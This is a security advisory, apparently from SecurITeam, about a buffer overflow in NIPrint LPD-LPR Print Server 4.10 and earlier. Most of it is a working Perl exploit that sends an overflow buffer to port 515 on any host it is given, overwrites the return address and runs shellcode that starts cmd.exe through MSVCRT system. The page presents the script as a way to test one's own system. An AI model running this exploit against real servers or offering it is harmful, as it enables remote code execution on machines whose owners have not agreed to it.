As we reported in our previous article NIPrint LPD-LPR Print Server (Long Request) , a vulnerability in NIPrint allows remote attackers to overflow an internal buffer, this in turn can be used to overwrite the EIP address, allowing code execution.
The following exploit code can be used to test your system for the mentioned vulnerability.
Credit:
The information has been provided by SecurITeam Experts .
Vulnerable systems:
* NIPrint LPD-LPR Print Server version 4.10 and prior
Exploit:
#!/usr/bin/perl
use IO::Socket;
$shellcode = join ("",
"\x90", # - NOP
"\xCC", # - INT3
"\x90", # - NOP
"\x90", # - NOP
"\x90", # - NOP
"\x90", # - NOP
"\x8B\xEC", # - MOV EBP, ESP
"\x55", # - PUSH EBP
"\x8B\xEC", # - MOV EBP, ESP
"\x33\xFF", # - XOR EDI, EDI
"\x57", # - PUSH EDI
"\x83\xEC\x04", # 0 SUB ESP, 4
"\xC6\x45\xF8\x63", # - MOV BYTE PTR SS:[EBP-8],63h
"\xC6\x45\xF9\x6D", # - MOV BYTE PTR SS:[EBP-7],6Dh
"\xC6\x45\xFA\x64", # - MOV BYTE PTR SS:[EBP-6],64h
"\xC6\x45\xFB\x2E", # - MOV BYTE PTR SS:[EBP-5],2Eh
"\xC6\x45\xFC\x65", # - MOV BYTE PTR SS:[EBP-4],65h
"\xC6\x45\xFD\x78", # - MOV BYTE PTR SS:[EBP-3],78h
"\xC6\x45\xFE\x65", # - MOV BYTE PTR SS:[EBP-2],65h
"\xB8\xC3\xAF\x01\x78", # - MOV EAX, MSVCRT.system
"\x50", # - PUSH EAX
"\x8D\x45\xF8", # - LEA EAX, DWORD PTR SS:[EBP-8]
"\x50", # - PUSH EAX
"\xFF\x55\xF4", # - CALL DWORD PTR SS:[EBP-C]
"\x5F" # - POP EDI
);
# 0x77f950cb is call ESI in Win2k SP4
$eip = "\xcb\x50\xf9\x77";
#$eip = "BBBB";
$buf = "";
$buf .= "\xCC"; # INT 3
$buf .= "\x83\xC4\x04"; # Add ESP+4
$buf .= "\xFF\xE4"; # Jmp ESP
$buf .= "A"x(49-6);
$buf .= $eip;
$buf .= $shellcode;
unless (@ARGV == 1) { die "usage: $0 host ..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $host,
PeerPort => "515",
);
unless ($remote) { die "cannot connect to LDP daemon on $host" }
$remote->autoflush(1);
print $remote $buf;
while (<$remote>)
{
print $_;
}
Please enable JavaScript to view the comments powered by Disqus.
blog comments powered by